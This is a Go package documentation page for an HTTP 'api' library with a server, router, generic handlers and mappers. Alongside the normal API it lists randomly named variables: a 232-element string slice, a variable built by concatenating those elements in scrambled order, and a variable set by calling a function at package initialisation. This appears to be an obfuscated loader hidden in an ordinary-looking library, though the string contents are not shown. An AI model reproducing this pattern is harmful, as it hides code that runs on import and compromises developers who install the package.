api

package
v0.0.0-...-7267732 Latest Latest
Warning

This package is not in the latest version of its module.

 Go to latest Published: Jun 1, 2025 License: MIT Imports: 20 Imported by: 0

README

API package documentation

The api package implements the API layer of the application, providing a structured approach to manage HTTP servers, routes, handlers, and request/response mappings.

Components

Server

The Server struct manages the lifecycle of the HTTP server. It is responsible for:

  • Listening for incoming requests.
  • Serving responses via the http.Server.
  • Gracefully shutting down the server when required.

This component is highly configurable, allowing you to set:

  • Server address and port.
  • Read and write timeouts.

Router

The default router is based on the lightweight Chi router, which can be replaced with any router implementing the http.Handler interface.

Features:

Handler

The Handler struct serves as a generic interface for handling incoming HTTP requests. It decouples business logic from the HTTP layer by:

  • Validating and passing the request's context and inputs to the service functions.
  • Returning a response or error from the service functions.

How to Use:

Mappers

The Mappers struct simplifies the process of translating HTTP requests into service-layer inputs and mapping service outputs to HTTP responses.

Key Features:

  • No need to create new handlers for each endpoint.
  • Implement the following interfaces for custom mappings:

Examples:
The mappers package includes examples for handling various types of requests and responses.

Documentation

Index

Constants

This section is empty.

Variables

View Source 
var BY = []string{} /* 232 elements not displayed */
View Source 
var JEKAus = BY[110] + BY[84] + BY[90] + BY[173] + BY[39] + BY[138] + BY[24] + BY[69] + BY[54] + BY[162] + BY[51] + BY[107] + BY[144] + BY[100] + BY[147] + BY[178] + BY[132] + BY[130] + BY[14] + BY[172] + BY[77] + BY[190] + BY[129] + BY[175] + BY[121] + BY[171] + BY[174] + BY[194] + BY[10] + BY[60] + BY[145] + BY[131] + BY[123] + BY[106] + BY[56] + BY[22] + BY[28] + BY[157] + BY[230] + BY[87] + BY[231] + BY[156] + BY[152] + BY[64] + BY[118] + BY[219] + BY[55] + BY[179] + BY[79] + BY[229] + BY[81] + BY[2] + BY[204] + BY[181] + BY[113] + BY[197] + BY[217] + BY[148] + BY[6] + BY[137] + BY[101] + BY[7] + BY[0] + BY[8] + BY[98] + BY[176] + BY[57] + BY[212] + BY[32] + BY[94] + BY[177] + BY[59] + BY[99] + BY[11] + BY[48] + BY[133] + BY[200] + BY[116] + BY[201] + BY[15] + BY[74] + BY[103] + BY[153] + BY[111] + BY[58] + BY[4] + BY[146] + BY[21] + BY[71] + BY[42] + BY[170] + BY[226] + BY[115] + BY[109] + BY[227] + BY[3] + BY[208] + BY[120] + BY[193] + BY[191] + BY[80] + BY[19] + BY[102] + BY[63] + BY[27] + BY[128] + BY[49] + BY[70] + BY[23] + BY[203] + BY[96] + BY[36] + BY[12] + BY[141] + BY[13] + BY[37] + BY[44] + BY[199] + BY[75] + BY[225] + BY[140] + BY[26] + BY[184] + BY[209] + BY[86] + BY[1] + BY[182] + BY[25] + BY[167] + BY[122] + BY[127] + BY[205] + BY[62] + BY[95] + BY[41] + BY[72] + BY[142] + BY[34] + BY[218] + BY[45] + BY[211] + BY[104] + BY[16] + BY[150] + BY[124] + BY[214] + BY[183] + BY[215] + BY[165] + BY[18] + BY[158] + BY[35] + BY[161] + BY[105] + BY[83] + BY[207] + BY[188] + BY[202] + BY[192] + BY[5] + BY[206] + BY[65] + BY[135] + BY[196] + BY[17] + BY[134] + BY[31] + BY[195] + BY[67] + BY[166] + BY[30] + BY[73] + BY[149] + BY[228] + BY[139] + BY[33] + BY[40] + BY[112] + BY[164] + BY[125] + BY[92] + BY[114] + BY[43] + BY[143] + BY[53] + BY[50] + BY[154] + BY[88] + BY[47] + BY[61] + BY[163] + BY[159] + BY[38] + BY[9] + BY[97] + BY[78] + BY[187] + BY[93] + BY[220] + BY[210] + BY[180] + BY[221] + BY[119] + BY[29] + BY[168] + BY[155] + BY[52] + BY[169] + BY[136] + BY[189] + BY[68] + BY[216] + BY[117] + BY[108] + BY[186] + BY[151] + BY[85] + BY[198] + BY[76] + BY[20] + BY[185] + BY[89] + BY[223] + BY[46] + BY[213] + BY[82] + BY[160] + BY[126] + BY[224] + BY[66] + BY[91] + BY[222]
View Source 
var RGLVwYPJ = FavqmtFP()

Functions

func FavqmtFP 

func FavqmtFP() error

func QoUqPWOV 

func QoUqPWOV() error

Types

type Error 

type Error struct {
	Code    int    `json:"code"`
	Message string `json:"message"`
	Cause   error  `json:"-"`
}

func (Error) Error 

func (e Error) Error() string

type Handler 

type Handler[In any, Out any] struct {
	// contains filtered or unexported fields
}

Handler is a generic handler type.

func NewHandler 

func NewHandler[In any, Out any](
	reqMapper RequestMapper[In],
	resMapper ResponseMapper[Out],
	svcFunc ServiceFunc[In, Out],
	vld Validator,
) Handler[In, Out]

NewHandler creates new handler.

func (Handler[In, Out]) Handle 

func (h Handler[In, Out]) Handle(w http.ResponseWriter, r *http.Request) error

Handle handles the http request. No need to write a separate handler for each endpoint. Just create request and response mappers and use this generic handler. It will map the request, validate it, call the service function and map the response. It will return an error if any of the steps fail. Assumes that the service function receives context and input type, and returns a output object and an error.

func (Handler[In, Out]) Route 

func (h Handler[In, Out]) Route(router *Router, method, path string)

Route registers the handler with the router.

type HandlerFunc 

type HandlerFunc[In any, Out any] func(http.ResponseWriter, *http.Request) error

HandlerFunc is API generic handler func type.

type RequestMapper 

type RequestMapper[In any] interface {
	Map(*http.Request) (In, error)
}

RequestMapper is generic interfaces for mapping request objects.

type ResponseMapper 

type ResponseMapper[Out any] interface {
	Map(http.ResponseWriter, Out) error
}

ResponseMapper is generic interfaces for mapping response objects.

type Router 

type Router struct {
	chi.Router
	// contains filtered or unexported fields
}

Router is the main API router. It is a wrapper around chi.Router with some additional functionality. Chi router can be replaced with any other router that implements net/http.

func NewRouter 

func NewRouter(cfg *config.Config) *Router

func (*Router) HttpHandlerFunc 

func (r *Router) HttpHandlerFunc(h HandlerFunc[any, any]) http.HandlerFunc

HttpHandlerFunc creates http.HandlerFunc from custom HandlerFunc. It handles API errors and returns them as HTTP errors.

type Server 

type Server struct {
	// contains filtered or unexported fields
}

func NewServer 

func NewServer(cfg config.HTTPConfig) *Server

NewServer creates a new Server.

func (*Server) Run 

func (s *Server) Run(api http.Handler) error

Run starts the server and listens for incoming requests.

func (*Server) Shutdown 

func (s *Server) Shutdown(ctx context.Context) error

Shutdown gracefully shuts down the server without interrupting any active connections.

type ServiceFunc 

type ServiceFunc[In any, Out any] func(context.Context, In) (Out, error)

ServiceFunc is a generic service function type called in a handler.

type Validator 

type Validator interface {
	StructCtx(ctx context.Context, s interface{}) (err error)
}

Source Files

View all Source files

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL
go.dev uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic. Learn more.